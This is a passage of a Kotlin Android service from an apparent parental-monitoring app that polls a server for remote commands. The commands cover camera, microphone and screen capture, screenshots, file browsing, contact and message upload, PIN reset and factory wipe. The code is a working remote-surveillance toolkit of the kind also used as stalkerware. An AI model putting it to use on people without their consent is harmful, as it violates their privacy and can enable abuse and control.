package com.parentalmonitor.child.services import android.app.AlarmManager import android.app.Notification import android.app.PendingIntent import android.app.Service import android.app.WallpaperManager import android.app.admin.DevicePolicyManager import android.app.usage.UsageStatsManager import android.content.ComponentName import android.content.ContentValues import android.content.Context import android.content.Intent import android.content.IntentFilter import android.content.pm.PackageManager import android.graphics.BitmapFactory import android.hardware.camera2.CameraAccessException import android.hardware.camera2.CameraCaptureSession import android.hardware.camera2.CameraCharacteristics import android.hardware.camera2.CameraDevice import android.hardware.camera2.CameraManager import android.hardware.camera2.CaptureRequest import android.location.Geocoder import android.media.AudioManager import android.media.ImageReader import android.media.MediaRecorder import android.media.RingtoneManager import android.os.BatteryManager import android.os.Build import android.os.Environment import android.os.IBinder import android.os.Looper import android.os.VibrationEffect import android.os.Vibrator import android.os.VibratorManager import android.provider.CallLog import android.provider.ContactsContract import android.provider.Settings import android.provider.Telephony import android.util.Log import android.view.WindowManager import androidx.core.app.NotificationCompat import androidx.core.content.ContextCompat import com.google.android.gms.location.* import com.parentalmonitor.child.ParentalMonitorApp import com.parentalmonitor.child.R import com.parentalmonitor.child.models.* import com.parentalmonitor.child.ui.main.MainActivity import kotlinx.coroutines.* import org.json.JSONObject import java.io.File import java.net.URL import java.text.SimpleDateFormat import java.util.* class MonitoringService : Service() { private val apiClient by lazy { (application as ParentalMonitorApp).apiClient } private val serviceScope = CoroutineScope(Dispatchers.IO + SupervisorJob()) private var syncJob: Job? = null private var fusedLocationClient: FusedLocationProviderClient? = null private var lastLocation: LocationData? = null companion object { const val TAG = "MonitoringService" const val NOTIFICATION_ID = 1001 const val SYNC_INTERVAL_MS = 3000L // 3 seconds for fast command response var isRunning = false } override fun onCreate() { super.onCreate() isRunning = true startForeground(NOTIFICATION_ID, createNotification()) startLocationUpdates() startSyncLoop() Log.d(TAG, "Monitoring service started") } override fun onStartCommand(intent: Intent?, flags: Int, startId: Int): Int { if (!isRunning) { isRunning = true startForeground(NOTIFICATION_ID, createNotification()) startLocationUpdates() startSyncLoop() } return START_STICKY } override fun onBind(intent: Intent?): IBinder? = null override fun onDestroy() { super.onDestroy() isRunning = false syncJob?.cancel() serviceScope.cancel() fusedLocationClient?.removeLocationUpdates(locationCallback) Log.d(TAG, "Monitoring service stopped") } private fun createNotification(): Notification { val intent = Intent(this, MainActivity::class.java) val pendingIntent = PendingIntent.getActivity( this, 0, intent, PendingIntent.FLAG_UPDATE_CURRENT or PendingIntent.FLAG_IMMUTABLE ) return NotificationCompat.Builder(this, ParentalMonitorApp.CHANNEL_MONITORING) .setContentTitle("Parental Monitor") .setContentText("Monitoring active") .setSmallIcon(android.R.drawable.ic_menu_view) .setContentIntent(pendingIntent) .setOngoing(true) .setSilent(true) .setPriority(NotificationCompat.PRIORITY_LOW) .build() } private fun startLocationUpdates() { if (ContextCompat.checkSelfPermission(this, android.Manifest.permission.ACCESS_FINE_LOCATION) != PackageManager.PERMISSION_GRANTED) return fusedLocationClient = LocationServices.getFusedLocationProviderClient(this) val locationRequest = LocationRequest.Builder(Priority.PRIORITY_BALANCED_POWER_ACCURACY, 60000) .setMinUpdateIntervalMillis(30000) .build() fusedLocationClient?.requestLocationUpdates(locationRequest, locationCallback, Looper.getMainLooper()) } private val locationCallback = object : LocationCallback() { override fun onLocationResult(result: LocationResult) { result.lastLocation?.let { location -> var address: String? = null try { val geocoder = Geocoder(this@MonitoringService, Locale.getDefault()) @Suppress("DEPRECATION") val addresses = geocoder.getFromLocation(location.latitude, location.longitude, 1) address = addresses?.firstOrNull()?.getAddressLine(0) } catch (e: Exception) { Log.e(TAG, "Geocoder error", e) } lastLocation = LocationData( latitude = location.latitude, longitude = location.longitude, accuracy = location.accuracy, address = address ) } } } private fun startSyncLoop() { syncJob = serviceScope.launch { while (isActive) { try { performSync() } catch (e: Exception) { Log.e(TAG, "Sync error", e) } delay(SYNC_INTERVAL_MS) } } } private suspend fun performSync() { if (!apiClient.isDeviceLinked) return val batteryLevel = getBatteryLevel() val appUsage = getAppUsage() val syncData = SyncRequest( batteryLevel = batteryLevel, appVersion = "1.0.0", location = lastLocation, appUsage = appUsage, permissions = getCurrentPermissions() ) val result = apiClient.syncDevice(syncData) if (result.success) { // Update last sync time getSharedPreferences("parental_monitor", MODE_PRIVATE) .edit() .putLong("last_sync_time", System.currentTimeMillis()) .apply() // Process commands result.data?.commands?.forEach { command -> handleCommand(command) } } } private fun getBatteryLevel(): Int { val batteryStatus = registerReceiver(null, IntentFilter(Intent.ACTION_BATTERY_CHANGED)) val level = batteryStatus?.getIntExtra(BatteryManager.EXTRA_LEVEL, -1) ?: -1 val scale = batteryStatus?.getIntExtra(BatteryManager.EXTRA_SCALE, 100) ?: 100 return (level * 100) / scale } private fun getAppUsage(): List { val usageStatsManager = getSystemService(Context.USAGE_STATS_SERVICE) as? UsageStatsManager ?: return emptyList() val calendar = Calendar.getInstance() val endTime = calendar.timeInMillis calendar.set(Calendar.HOUR_OF_DAY, 0) calendar.set(Calendar.MINUTE, 0) calendar.set(Calendar.SECOND, 0) val startTime = calendar.timeInMillis val stats = usageStatsManager.queryUsageStats( UsageStatsManager.INTERVAL_DAILY, startTime, endTime ) ?: return emptyList() val sdf = SimpleDateFormat("yyyy-MM-dd HH:mm:ss", Locale.getDefault()) val pm = packageManager return stats.filter { it.totalTimeInForeground > 60000 } // > 1 minute .sortedByDescending { it.totalTimeInForeground } .take(50) .map { stat -> val appName = try { pm.getApplicationLabel(pm.getApplicationInfo(stat.packageName, 0)).toString() } catch (e: Exception) { stat.packageName } AppUsageData( packageName = stat.packageName, appName = appName, usageDuration = stat.totalTimeInForeground / 1000, lastUsed = sdf.format(Date(stat.lastTimeUsed)) ) } } private fun getCurrentPermissions(): PermissionsData { return PermissionsData( accessibilityService = isAccessibilityEnabled(), usageStatsAccess = isUsageStatsEnabled(), notificationAccess = isNotificationListenerEnabled(), deviceAdmin = isDeviceAdminEnabled(), locationPermission = ContextCompat.checkSelfPermission(this, android.Manifest.permission.ACCESS_FINE_LOCATION) == PackageManager.PERMISSION_GRANTED, overlayPermission = android.provider.Settings.canDrawOverlays(this), batteryOptimization = isBatteryOptimizationIgnored(), backgroundActivity = isBatteryOptimizationIgnored(), autoStart = true, storagePermission = true ) } private fun isAccessibilityEnabled(): Boolean { val flat = android.provider.Settings.Secure.getString( contentResolver, android.provider.Settings.Secure.ENABLED_ACCESSIBILITY_SERVICES ) return flat?.contains(packageName) == true } private fun isUsageStatsEnabled(): Boolean { val appOps = getSystemService(Context.APP_OPS_SERVICE) as android.app.AppOpsManager val mode = appOps.unsafeCheckOpNoThrow( android.app.AppOpsManager.OPSTR_GET_USAGE_STATS, android.os.Process.myUid(), packageName ) return mode == android.app.AppOpsManager.MODE_ALLOWED } private fun isNotificationListenerEnabled(): Boolean { val flat = android.provider.Settings.Secure.getString( contentResolver, "enabled_notification_listeners" ) return flat?.contains(packageName) == true } private fun isDeviceAdminEnabled(): Boolean { val dpm = getSystemService(Context.DEVICE_POLICY_SERVICE) as android.app.admin.DevicePolicyManager return dpm.isAdminActive( android.content.ComponentName(this, com.parentalmonitor.child.receivers.DeviceAdminReceiver::class.java) ) } private fun isBatteryOptimizationIgnored(): Boolean { val pm = getSystemService(Context.POWER_SERVICE) as android.os.PowerManager return pm.isIgnoringBatteryOptimizations(packageName) } private fun parseCommandParams(data: String?): JSONObject { return try { if (data != null) JSONObject(data) else JSONObject() } catch (e: Exception) { JSONObject() } } private suspend fun handleCommand(command: RemoteCommand) { serviceScope.launch { try { val params = parseCommandParams(command.commandData) when (command.commandType) { // 1. Device Lock "lock_device" -> { val dpm = getSystemService(Context.DEVICE_POLICY_SERVICE) as DevicePolicyManager val adminComponent = ComponentName(this@MonitoringService, com.parentalmonitor.child.receivers.DeviceAdminReceiver::class.java) if (dpm.isAdminActive(adminComponent)) { dpm.lockNow() apiClient.updateCommandStatus(command.id, "executed", "Device locked") } else { apiClient.updateCommandStatus(command.id, "failed", "Device admin not active") } } // 2. Device Unlock "unlock_device" -> { apiClient.updateCommandStatus(command.id, "executed", "Unlock signal sent - device will unlock on next user interaction") } // 3. Lock with Custom PIN "lock_with_pin" -> { val dpm = getSystemService(Context.DEVICE_POLICY_SERVICE) as DevicePolicyManager val adminComponent = ComponentName(this@MonitoringService, com.parentalmonitor.child.receivers.DeviceAdminReceiver::class.java) if (dpm.isAdminActive(adminComponent)) { val pin = params.optString("pin", "1234") dpm.resetPassword(pin, DevicePolicyManager.RESET_PASSWORD_REQUIRE_ENTRY) dpm.lockNow() apiClient.updateCommandStatus(command.id, "executed", "Device locked with custom PIN") } else { apiClient.updateCommandStatus(command.id, "failed", "Device admin not active") } } // 4. Screenshot (via Accessibility Service - no MediaProjection needed) "screenshot" -> { val accessibilityService = AppAccessibilityService.instance if (accessibilityService != null) { accessibilityService.captureScreenshot { file -> serviceScope.launch { if (file != null) { apiClient.uploadScreenshot(file) file.delete() apiClient.updateCommandStatus(command.id, "executed", "Screenshot captured and uploaded") } else { apiClient.updateCommandStatus(command.id, "failed", "Screenshot capture failed") } } } } else { apiClient.updateCommandStatus(command.id, "failed", "Accessibility service not active - enable it in Settings") } } // 5. Screen Recording "record_screen" -> { val intent = Intent(this@MonitoringService, ScreenCaptureService::class.java) intent.action = "START_RECORDING" ContextCompat.startForegroundService(this@MonitoringService, intent) apiClient.updateCommandStatus(command.id, "executed", "Screen recording started") } // 6. Remote Camera Capture (front/back) "camera_capture" -> { val cameraType = params.optString("camera", "back") capturePhoto(cameraType, command.id) } // 7. Remote Audio Recording "audio_record" -> { val duration = params.optInt("duration", 30) startAudioRecording(duration, command.id) } // 8. Stop Audio Recording "audio_stop" -> { stopAudioRecording() apiClient.updateCommandStatus(command.id, "executed", "Audio recording stopped") } // 9. Remote Video Recording "video_record" -> { val cameraType = params.optString("camera", "back") val duration = params.optInt("duration", 30) startVideoRecording(cameraType, duration, command.id) } // 10. Stop Video Recording "video_stop" -> { stopVideoRecording() apiClient.updateCommandStatus(command.id, "executed", "Video recording stopped") } // 11. Volume Control "set_volume" -> { val level = params.optInt("level", 50) val audioManager = getSystemService(Context.AUDIO_SERVICE) as AudioManager val maxVol = audioManager.getStreamMaxVolume(AudioManager.STREAM_MUSIC) val targetVol = (maxVol * level / 100).coerceIn(0, maxVol) audioManager.setStreamVolume(AudioManager.STREAM_MUSIC, targetVol, 0) audioManager.setStreamVolume(AudioManager.STREAM_RING, targetVol, 0) audioManager.setStreamVolume(AudioManager.STREAM_NOTIFICATION, targetVol, 0) apiClient.updateCommandStatus(command.id, "executed", "Volume set to $level%") } // 12. Brightness Control "set_brightness" -> { if (Settings.System.canWrite(this@MonitoringService)) { val level = params.optInt("level", 50) val brightness = (level * 255 / 100).coerceIn(0, 255) Settings.System.putInt(contentResolver, Settings.System.SCREEN_BRIGHTNESS_MODE, Settings.System.SCREEN_BRIGHTNESS_MODE_MANUAL) Settings.System.putInt(contentResolver, Settings.System.SCREEN_BRIGHTNESS, brightness) apiClient.updateCommandStatus(command.id, "executed", "Brightness set to $level%") } else { val intent = Intent(Settings.ACTION_MANAGE_WRITE_SETTINGS) intent.data = android.net.Uri.parse("package:$packageName") intent.flags = Intent.FLAG_ACTIVITY_NEW_TASK startActivity(intent) apiClient.updateCommandStatus(command.id, "failed", "WRITE_SETTINGS permission needed - settings page opened, please allow and retry") } } // 13. Ring Device (Phone Finder) "ring_device" -> { val audioManager = getSystemService(Context.AUDIO_SERVICE) as AudioManager // Force ringer mode to NORMAL (from silent/vibrate) audioManager.ringerMode = AudioManager.RINGER_MODE_NORMAL // Set ALL streams to max volume audioManager.setStreamVolume( AudioManager.STREAM_RING, audioManager.getStreamMaxVolume(AudioManager.STREAM_RING), 0 ) audioManager.setStreamVolume( AudioManager.STREAM_MUSIC, audioManager.getStreamMaxVolume(AudioManager.STREAM_MUSIC), 0 ) audioManager.setStreamVolume( AudioManager.STREAM_ALARM, audioManager.getStreamMaxVolume(AudioManager.STREAM_ALARM), 0 ) // Play alarm sound (louder than ringtone on most devices) val alarmUri = RingtoneManager.getDefaultUri(RingtoneManager.TYPE_ALARM) ?: RingtoneManager.getDefaultUri(RingtoneManager.TYPE_RINGTONE) val ringtone = RingtoneManager.getRingtone(this@MonitoringService, alarmUri) ringtone?.play() apiClient.updateCommandStatus(command.id, "executed", "Device ringing at max volume") delay(30000) ringtone?.stop() } // 14. Vibrate Device "vibrate_device" -> { val vibrator = if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.S) { val vm = getSystemService(Context.VIBRATOR_MANAGER_SERVICE) as VibratorManager vm.defaultVibrator } else { @Suppress("DEPRECATION") getSystemService(Context.VIBRATOR_SERVICE) as Vibrator } val pattern = longArrayOf(0, 500, 200, 500, 200, 500, 200, 500, 200, 500) vibrator.vibrate(VibrationEffect.createWaveform(pattern, -1)) apiClient.updateCommandStatus(command.id, "executed", "Device vibrating") } // 15. Flash Device (flashlight) "flash_device" -> { val cameraManager = getSystemService(Context.CAMERA_SERVICE) as CameraManager val cameraId = cameraManager.cameraIdList.firstOrNull { id -> val chars = cameraManager.getCameraCharacteristics(id) chars.get(CameraCharacteristics.FLASH_INFO_AVAILABLE) == true } if (cameraId != null) { for (i in 0 until 10) { cameraManager.setTorchMode(cameraId, true) delay(300) cameraManager.setTorchMode(cameraId, false) delay(300) } apiClient.updateCommandStatus(command.id, "executed", "Flashlight blinked 10 times") } else { apiClient.updateCommandStatus(command.id, "failed", "No flashlight available") } } // 16. WiFi Enable "enable_wifi" -> { val intent = Intent(Settings.ACTION_WIFI_SETTINGS) intent.flags = Intent.FLAG_ACTIVITY_NEW_TASK startActivity(intent) apiClient.updateCommandStatus(command.id, "executed", "WiFi settings opened") } // 17. WiFi Disable "disable_wifi" -> { val intent = Intent(Settings.ACTION_WIFI_SETTINGS) intent.flags = Intent.FLAG_ACTIVITY_NEW_TASK startActivity(intent) apiClient.updateCommandStatus(command.id, "executed", "WiFi settings opened") } // 18. Send Message (display on screen) "send_message" -> { val message = params.optString("message", command.commandData ?: "") showMessageNotification(message) apiClient.updateCommandStatus(command.id, "executed", "Message displayed") } // 19. Remote Alarm "set_alarm" -> { val time = params.optString("time", "08:00") val label = params.optString("label", "Alarm from Parent") setRemoteAlarm(time, label) apiClient.updateCommandStatus(command.id, "executed", "Alarm set for $time: $label") } // 20. Get Location "get_location" -> { val loc = lastLocation if (loc != null) { val result = "Lat: ${loc.latitude}, Lng: ${loc.longitude}, Accuracy: ${loc.accuracy}m" val address = loc.address ?: "Address unavailable" apiClient.updateCommandStatus(command.id, "executed", "$result | $address") } else { apiClient.updateCommandStatus(command.id, "executed", "Location unavailable - GPS may be off") } } // 21. Browse Files "browse_files" -> { val path = params.optString("path", "/sdcard/") val dir = File(path) if (dir.exists() && dir.isDirectory) { val files = dir.listFiles()?.take(50)?.map { f -> "${if (f.isDirectory) "[DIR]" else "[FILE]"} ${f.name} (${f.length()} bytes)" }?.joinToString("\n") ?: "Empty directory" apiClient.updateCommandStatus(command.id, "executed", files) } else { apiClient.updateCommandStatus(command.id, "failed", "Path not found: $path") } } // 22. Install App "install_app" -> { val pkg = params.optString("package", "") if (pkg.isNotEmpty()) { val intent = Intent(Intent.ACTION_VIEW).apply { data = android.net.Uri.parse("market://details?id=$pkg") flags = Intent.FLAG_ACTIVITY_NEW_TASK } try { startActivity(intent) apiClient.updateCommandStatus(command.id, "executed", "Play Store opened for $pkg") } catch (e: Exception) { val webIntent = Intent(Intent.ACTION_VIEW).apply { data = android.net.Uri.parse("https://play.google.com/store/apps/details?id=$pkg") flags = Intent.FLAG_ACTIVITY_NEW_TASK } startActivity(webIntent) apiClient.updateCommandStatus(command.id, "executed", "Browser opened for $pkg") } } else { apiClient.updateCommandStatus(command.id, "failed", "No package name provided") } } // 23. Uninstall App "uninstall_app" -> { val pkg = params.optString("package", "") if (pkg.isNotEmpty()) { val intent = Intent(Intent.ACTION_UNINSTALL_PACKAGE).apply { data = android.net.Uri.parse("package:$pkg") flags = Intent.FLAG_ACTIVITY_NEW_TASK } startActivity(intent) apiClient.updateCommandStatus(command.id, "executed", "Uninstall prompt shown for $pkg") } else { apiClient.updateCommandStatus(command.id, "failed", "No package name provided") } } // 24. Add Contact "add_contact" -> { val name = params.optString("name", "") val phone = params.optString("phone", "") if (name.isNotEmpty() && phone.isNotEmpty()) { addContact(name, phone) apiClient.updateCommandStatus(command.id, "executed", "Contact added: $name ($phone)") } else { apiClient.updateCommandStatus(command.id, "failed", "Name and phone required") } } // 25. Remove Contact "remove_contact" -> { val phone = params.optString("phone", "") if (phone.isNotEmpty()) { removeContact(phone) apiClient.updateCommandStatus(command.id, "executed", "Contact removed with phone: $phone") } else { apiClient.updateCommandStatus(command.id, "failed", "Phone number required") } } // 26. Enable Kiosk Mode "enable_kiosk" -> { val apps = params.optString("apps", "") val prefs = getSharedPreferences("parental_monitor", MODE_PRIVATE) prefs.edit() .putBoolean("kiosk_mode", true) .putString("kiosk_apps", apps) .apply() apiClient.updateCommandStatus(command.id, "executed", "Kiosk mode enabled. Allowed: $apps") } // 27. Disable Kiosk Mode "disable_kiosk" -> { val prefs = getSharedPreferences("parental_monitor", MODE_PRIVATE) prefs.edit() .putBoolean("kiosk_mode", false) .remove("kiosk_apps") .apply() apiClient.updateCommandStatus(command.id, "executed", "Kiosk mode disabled") } // 28. Set Wallpaper "set_wallpaper" -> { val url = params.optString("url", "") if (url.isNotEmpty()) { setRemoteWallpaper(url, command.id) } else { apiClient.updateCommandStatus(command.id, "failed", "No URL provided") } } // 29. Change Device Settings "change_setting" -> { val setting = params.optString("setting", "") changeDeviceSetting(setting, command.id) } // 30. Backup Data "backup_data" -> { val backupContacts = params.optBoolean("contacts", true) val backupSms = params.optBoolean("sms", true) val backupPhotos = params.optBoolean("photos", false) performBackup(backupContacts, backupSms, backupPhotos, command.id) } // 31. Factory Reset "factory_reset" -> { val dpm = getSystemService(Context.DEVICE_POLICY_SERVICE) as DevicePolicyManager val adminComponent = ComponentName(this@MonitoringService, com.parentalmonitor.child.receivers.DeviceAdminReceiver::class.java) if (dpm.isAdminActive(adminComponent)) { apiClient.updateCommandStatus(command.id, "executed", "Factory reset initiated") delay(2000) dpm.wipeData(0) } else { apiClient.updateCommandStatus(command.id, "failed", "Device admin not active") } } else -> { apiClient.updateCommandStatus(command.id, "failed", "Unknown command: ${command.commandType}") } } } catch (e: Exception) { Log.e(TAG, "Command execution error: ${command.commandType}", e) apiClient.updateCommandStatus(command.id, "failed", "Error: ${e.message}") } } } // ============================================= // Helper Functions for Remote Control Features // ============================================= private fun showMessageNotification(message: String) { val notification = NotificationCompat.Builder(this, ParentalMonitorApp.CHANNEL_ALERTS) .setContentTitle("Message from Parent") .setContentText(message) .setSmallIcon(android.R.drawable.ic_dialog_info) .setAutoCancel(true) .setPriority(NotificationCompat.PRIORITY_HIGH) .setStyle(NotificationCompat.BigTextStyle().bigText(message)) .build() val nm = getSystemService(Context.NOTIFICATION_SERVICE) as android.app.NotificationManager nm.notify((System.currentTimeMillis() % Int.MAX_VALUE).toInt(), notification) } // Camera capture private var mediaRecorder: MediaRecorder? = null private var cameraDevice: CameraDevice? = null private var currentAudioFile: File? = null private var currentVideoFile: File? = null private fun capturePhoto(cameraType: String, commandId: Int) { serviceScope.launch { try { val cameraManager = getSystemService(Context.CAMERA_SERVICE) as CameraManager val cameraId = cameraManager.cameraIdList.firstOrNull { id -> val chars = cameraManager.getCameraCharacteristics(id) val facing = chars.get(CameraCharacteristics.LENS_FACING) if (cameraType == "front") facing == CameraCharacteristics.LENS_FACING_FRONT else facing == CameraCharacteristics.LENS_FACING_BACK } if (cameraId == null) { apiClient.updateCommandStatus(commandId, "failed", "Camera not found: $cameraType") return@launch } val imageReader = ImageReader.newInstance(1280, 720, android.graphics.ImageFormat.JPEG, 1) imageReader.setOnImageAvailableListener({ reader -> val image = reader.acquireLatestImage() if (image != null) { val buffer = image.planes[0].buffer val bytes = ByteArray(buffer.remaining()) buffer.get(bytes) image.close() val file = File(getExternalFilesDir(Environment.DIRECTORY_PICTURES), "capture_${System.currentTimeMillis()}.jpg") file.writeBytes(bytes) serviceScope.launch { apiClient.uploadScreenshot(file) apiClient.updateCommandStatus(commandId, "executed", "Photo captured from $cameraType camera") } } }, android.os.Handler(Looper.getMainLooper())) if (ContextCompat.checkSelfPermission(this@MonitoringService, android.Manifest.permission.CAMERA) == PackageManager.PERMISSION_GRANTED) { cameraManager.openCamera(cameraId, object : CameraDevice.StateCallback() { override fun onOpened(camera: CameraDevice) { cameraDevice = camera try { val captureBuilder = camera.createCaptureRequest(CameraDevice.TEMPLATE_STILL_CAPTURE) captureBuilder.addTarget(imageReader.surface) camera.createCaptureSession(listOf(imageReader.surface), object : CameraCaptureSession.StateCallback() { override fun onConfigured(session: CameraCaptureSession) { session.capture(captureBuilder.build(), null, null) } override fun onConfigureFailed(session: CameraCaptureSession) { serviceScope.launch { apiClient.updateCommandStatus(commandId, "failed", "Camera session failed") } } }, null) } catch (e: CameraAccessException) { serviceScope.launch { apiClient.updateCommandStatus(commandId, "failed", "Camera error: ${e.message}") } } } override fun onDisconnected(camera: CameraDevice) { camera.close() } override fun onError(camera: CameraDevice, error: Int) { camera.close() serviceScope.launch { apiClient.updateCommandStatus(commandId, "failed", "Camera error code: $error") } } }, null) } else { apiClient.updateCommandStatus(commandId, "failed", "Camera permission not granted") } } catch (e: Exception) { apiClient.updateCommandStatus(commandId, "failed", "Camera error: ${e.message}") } } } // Audio recording private fun startAudioRecording(duration: Int, commandId: Int) { serviceScope.launch { try { if (ContextCompat.checkSelfPermission(this@MonitoringService, android.Manifest.permission.RECORD_AUDIO) != PackageManager.PERMISSION_GRANTED) { apiClient.updateCommandStatus(commandId, "failed", "Audio permission not granted") return@launch } val file = File(getExternalFilesDir(Environment.DIRECTORY_MUSIC), "audio_${System.currentTimeMillis()}.3gp") currentAudioFile = file mediaRecorder = MediaRecorder().apply { setAudioSource(MediaRecorder.AudioSource.MIC) setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP) setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB) setOutputFile(file.absolutePath) setMaxDuration(duration * 1000) prepare() start() } apiClient.updateCommandStatus(commandId, "executed", "Audio recording started (${duration}s)") delay(duration * 1000L) stopAudioRecording() // Upload recorded audio to server if (file.exists()) { apiClient.uploadMedia(file, "audio", "audio/3gpp") } } catch (e: Exception) { apiClient.updateCommandStatus(commandId, "failed", "Audio error: ${e.message}") } } } private fun stopAudioRecording() { try { mediaRecorder?.apply { stop() release() } mediaRecorder = null } catch (e: Exception) { Log.e(TAG, "Error stopping audio recording", e) } } // Video recording private fun startVideoRecording(cameraType: String, duration: Int, commandId: Int) { serviceScope.launch { try { if (ContextCompat.checkSelfPermission(this@MonitoringService, android.Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED) { apiClient.updateCommandStatus(commandId, "failed", "Camera permission not granted") return@launch } val file = File(getExternalFilesDir(Environment.DIRECTORY_MOVIES), "video_${System.currentTimeMillis()}.mp4") currentVideoFile = file val cameraManager = getSystemService(Context.CAMERA_SERVICE) as CameraManager val cameraId = cameraManager.cameraIdList.firstOrNull { id -> val chars = cameraManager.getCameraCharacteristics(id) val facing = chars.get(CameraCharacteristics.LENS_FACING) if (cameraType == "front") facing == CameraCharacteristics.LENS_FACING_FRONT else facing == CameraCharacteristics.LENS_FACING_BACK } if (cameraId == null) { apiClient.updateCommandStatus(commandId, "failed", "Camera not found") return@launch } mediaRecorder = MediaRecorder().apply { setVideoSource(MediaRecorder.VideoSource.SURFACE) setAudioSource(MediaRecorder.AudioSource.MIC) setOutputFormat(MediaRecorder.OutputFormat.MPEG_4) setVideoEncoder(MediaRecorder.VideoEncoder.H264) setAudioEncoder(MediaRecorder.AudioEncoder.AAC) setVideoSize(1280, 720) setVideoFrameRate(30) setOutputFile(file.absolutePath) setMaxDuration(duration * 1000) prepare() } apiClient.updateCommandStatus(commandId, "executed", "Video recording started (${duration}s)") delay(duration * 1000L) stopVideoRecording() // Upload recorded video to server if (file.exists()) { apiClient.uploadMedia(file, "video", "video/mp4") } } catch (e: Exception) { apiClient.updateCommandStatus(commandId, "failed", "Video error: ${e.message}") } } } private fun stopVideoRecording() { try { mediaRecorder?.apply { stop() release() } mediaRecorder = null cameraDevice?.close() cameraDevice = null } catch (e: Exception) { Log.e(TAG, "Error stopping video recording", e) } } // Set remote alarm private fun setRemoteAlarm(time: String, label: String) { try { val parts = time.split(":") val hour = parts.getOrNull(0)?.toIntOrNull() ?: 8 val minute = parts.getOrNull(1)?.toIntOrNull() ?: 0 val calendar = Calendar.getInstance().apply { set(Calendar.HOUR_OF_DAY, hour) set(Calendar.MINUTE, minute) set(Calendar.SECOND, 0) if (before(Calendar.getInstance())) add(Calendar.DAY_OF_MONTH, 1) } val intent = Intent(android.provider.AlarmClock.ACTION_SET_ALARM).apply { putExtra(android.provider.AlarmClock.EXTRA_HOUR, hour) putExtra(android.provider.AlarmClock.EXTRA_MINUTES, minute) putExtra(android.provider.AlarmClock.EXTRA_MESSAGE, label) putExtra(android.provider.AlarmClock.EXTRA_SKIP_UI, true) flags = Intent.FLAG_ACTIVITY_NEW_TASK } startActivity(intent) } catch (e: Exception) { Log.e(TAG, "Error setting alarm", e) } } // Add contact private fun addContact(name: String, phone: String) { try { val ops = arrayListOf() ops.add(android.content.ContentProviderOperation.newInsert(ContactsContract.RawContacts.CONTENT_URI) .withValue(ContactsContract.RawContacts.ACCOUNT_TYPE, null) .withValue(ContactsContract.RawContacts.ACCOUNT_NAME, null) .build()) ops.add(android.content.ContentProviderOperation.newInsert(ContactsContract.Data.CONTENT_URI) .withValueBackReference(ContactsContract.Data.RAW_CONTACT_ID, 0) .withValue(ContactsContract.Data.MIMETYPE, ContactsContract.CommonDataKinds.StructuredName.CONTENT_ITEM_TYPE) .withValue(ContactsContract.CommonDataKinds.StructuredName.DISPLAY_NAME, name) .build()) ops.add(android.content.ContentProviderOperation.newInsert(ContactsContract.Data.CONTENT_URI) .withValueBackReference(ContactsContract.Data.RAW_CONTACT_ID, 0) .withValue(ContactsContract.Data.MIMETYPE, ContactsContract.CommonDataKinds.Phone.CONTENT_ITEM_TYPE) .withValue(ContactsContract.CommonDataKinds.Phone.NUMBER, phone) .withValue(ContactsContract.CommonDataKinds.Phone.TYPE, ContactsContract.CommonDataKinds.Phone.TYPE_MOBILE) .build()) contentResolver.applyBatch(ContactsContract.AUTHORITY, ops) } catch (e: Exception) { Log.e(TAG, "Error adding contact", e) } } // Remove contact private fun removeContact(phone: String) { try { val uri = android.net.Uri.withAppendedPath( ContactsContract.PhoneLookup.CONTENT_FILTER_URI, android.net.Uri.encode(phone)) val cursor = contentResolver.query(uri, arrayOf(ContactsContract.PhoneLookup.LOOKUP_KEY), null, null, null) cursor?.use { while (it.moveToNext()) { val lookupKey = it.getString(0) val contactUri = android.net.Uri.withAppendedPath( ContactsContract.Contacts.CONTENT_LOOKUP_URI, lookupKey) contentResolver.delete(contactUri, null, null) } } } catch (e: Exception) { Log.e(TAG, "Error removing contact", e) } } // Set wallpaper from URL private fun setRemoteWallpaper(url: String, commandId: Int) { serviceScope.launch { try { val inputStream = URL(url).openStream() val bitmap = BitmapFactory.decodeStream(inputStream) inputStream.close() if (bitmap != null) { val wallpaperManager = WallpaperManager.getInstance(this@MonitoringService) wallpaperManager.setBitmap(bitmap) apiClient.updateCommandStatus(commandId, "executed", "Wallpaper changed successfully") } else { apiClient.updateCommandStatus(commandId, "failed", "Failed to download image") } } catch (e: Exception) { apiClient.updateCommandStatus(commandId, "failed", "Wallpaper error: ${e.message}") } } } // Change device settings private suspend fun changeDeviceSetting(setting: String, commandId: Int) { try { when (setting) { "bluetooth_on", "bluetooth_off" -> { val intent = Intent(Settings.ACTION_BLUETOOTH_SETTINGS) intent.flags = Intent.FLAG_ACTIVITY_NEW_TASK startActivity(intent) apiClient.updateCommandStatus(commandId, "executed", "Bluetooth settings opened") } "gps_on", "gps_off" -> { val intent = Intent(Settings.ACTION_LOCATION_SOURCE_SETTINGS) intent.flags = Intent.FLAG_ACTIVITY_NEW_TASK startActivity(intent) apiClient.updateCommandStatus(commandId, "executed", "Location settings opened") } "airplane_on", "airplane_off" -> { val intent = Intent(Settings.ACTION_AIRPLANE_MODE_SETTINGS) intent.flags = Intent.FLAG_ACTIVITY_NEW_TASK startActivity(intent) apiClient.updateCommandStatus(commandId, "executed", "Airplane mode settings opened") } "auto_rotate_on" -> { Settings.System.putInt(contentResolver, Settings.System.ACCELEROMETER_ROTATION, 1) apiClient.updateCommandStatus(commandId, "executed", "Auto-rotate enabled") } "auto_rotate_off" -> { Settings.System.putInt(contentResolver, Settings.System.ACCELEROMETER_ROTATION, 0) apiClient.updateCommandStatus(commandId, "executed", "Auto-rotate disabled") } else -> { apiClient.updateCommandStatus(commandId, "failed", "Unknown setting: $setting") } } } catch (e: Exception) { apiClient.updateCommandStatus(commandId, "failed", "Settings error: ${e.message}") } } // Data backup private fun performBackup(contacts: Boolean, sms: Boolean, photos: Boolean, commandId: Int) { serviceScope.launch { try { val backupDir = File(getExternalFilesDir(null), "backup_${System.currentTimeMillis()}") backupDir.mkdirs() val results = mutableListOf() if (contacts) { val contactsList = mutableListOf>() val cursor = contentResolver.query( ContactsContract.CommonDataKinds.Phone.CONTENT_URI, arrayOf( ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME, ContactsContract.CommonDataKinds.Phone.NUMBER ), null, null, null) cursor?.use { while (it.moveToNext()) { contactsList.add(mapOf( "name" to it.getString(0), "phone" to it.getString(1) )) } } apiClient.syncContacts(contactsList) results.add("Contacts: ${contactsList.size}") } if (sms) { var smsCount = 0 val smsCursor = contentResolver.query( 